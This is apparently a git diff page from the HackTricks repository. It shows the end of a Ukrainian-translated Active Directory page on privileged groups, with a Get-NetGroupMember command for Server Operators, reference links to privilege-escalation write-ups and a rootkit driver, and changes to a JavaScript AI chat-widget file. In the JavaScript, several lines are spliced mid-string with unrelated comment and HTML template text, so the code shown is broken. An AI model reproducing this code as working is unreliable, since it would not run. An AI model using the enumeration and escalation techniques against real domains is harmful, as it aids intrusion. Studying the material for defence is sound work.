Ця група має дозволи на виконання різних налаштувань на контролерах домену, зокрема права резервного копіювання та відновлення, зміну системного часу та вимкнення системи. Щоб перерахувати членів групи, використовується така команда:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
```
|
||||
## References <a href="#references" id="references"></a>
|
||||
## Посилання <a href="#references" id="references"></a>
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
* ❶ Markdown rendering + sanitised (same as before)
|
||||
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
@ -13,7 +16,20 @@
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||
<div id="ht-ai-header">
|
||||
<strong>HackTricks AI Chat</strong>
|
||||
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||
<div class="ht-actions">
|
||||
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||
<span id="ht-ai-close" title="Close">✖</span>
|
||||
</div>
|
||||
</div>
|
||||
<div id="ht-ai-chat"></div>
|
||||
<div id="ht-ai-input">
|
||||
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||
<button id="ht-ai-send">Send</button>
|
||||
</div>`;tag), { style: css });
|
||||
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
@ -111,7 +127,7 @@
|
||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||
const MAX_QUESTION = 500; // question char limit
|
||||
const MIN_W = 250; // ← resize limits →
|
||||
const MAX_W = 600;
|
||||
const MAX_W = 800;
|
||||
const DEF_W = 350; // default width (if nothing saved)
|
||||
const TOOLTIP_TEXT =
|
||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||
@ -345,8 +361,9 @@
|
||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||
#ht-ai-panel.open{transform:translateX(0)}
|
||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||
#ht-ai-header strong{flex-shrink:0}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||
@ -367,8 +384,10 @@
|
||||
::selection{background:#ffeb3b;color:#000}
|
||||
::-moz-selection{background:#ffeb3b;color:#000}
|
||||
/* NEW: resizer handle */
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||
const s = document.createElement("style");
|
||||
s.id = "ht-ai-style";
|
||||
s.textContent = css;
|
||||
@ -432,24 +451,43 @@
|
||||
|
||||
const onMove = (e) => {
|
||||
if (!dragging) return;
|
||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
||||
e.preventDefault();
|
||||
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||
let newW = startW + dx;
|
||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||
panel.style.width = newW + "px";
|
||||
};
|
||||
|
||||
const onUp = () => {
|
||||
if (!dragging) return;
|
||||
dragging = false;
|
||||
handle.style.background = "";
|
||||
document.body.style.userSelect = "";
|
||||
document.body.style.cursor = "";
|
||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||
document.removeEventListener("mousemove", onMove);
|
||||
document.removeEventListener("mouseup", onUp);
|
||||
document.removeEventListener("touchmove", onMove);
|
||||
document.removeEventListener("touchend", onUp);
|
||||
};
|
||||
handle.addEventListener("mousedown", (e) => {
|
||||
|
||||
const onStart = (e) => {
|
||||
e.preventDefault();
|
||||
dragging = true;
|
||||
startX = e.clientX;
|
||||
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||
handle.style.background = "rgba(255,255,255,.25)";
|
||||
document.body.style.userSelect = "none";
|
||||
document.body.style.cursor = "ew-resize";
|
||||
|
||||
document.addEventListener("mousemove", onMove);
|
||||
document.addEventListener("mouseup", onUp);
|
||||
});
|
||||
document.addEventListener("touchmove", onMove, { passive: false });
|
||||
document.addEventListener("touchend", onUp);
|
||||
};
|
||||
|
||||
handle.addEventListener("mousedown", onStart);
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
Loading…
x
Reference in New Issue
Block a user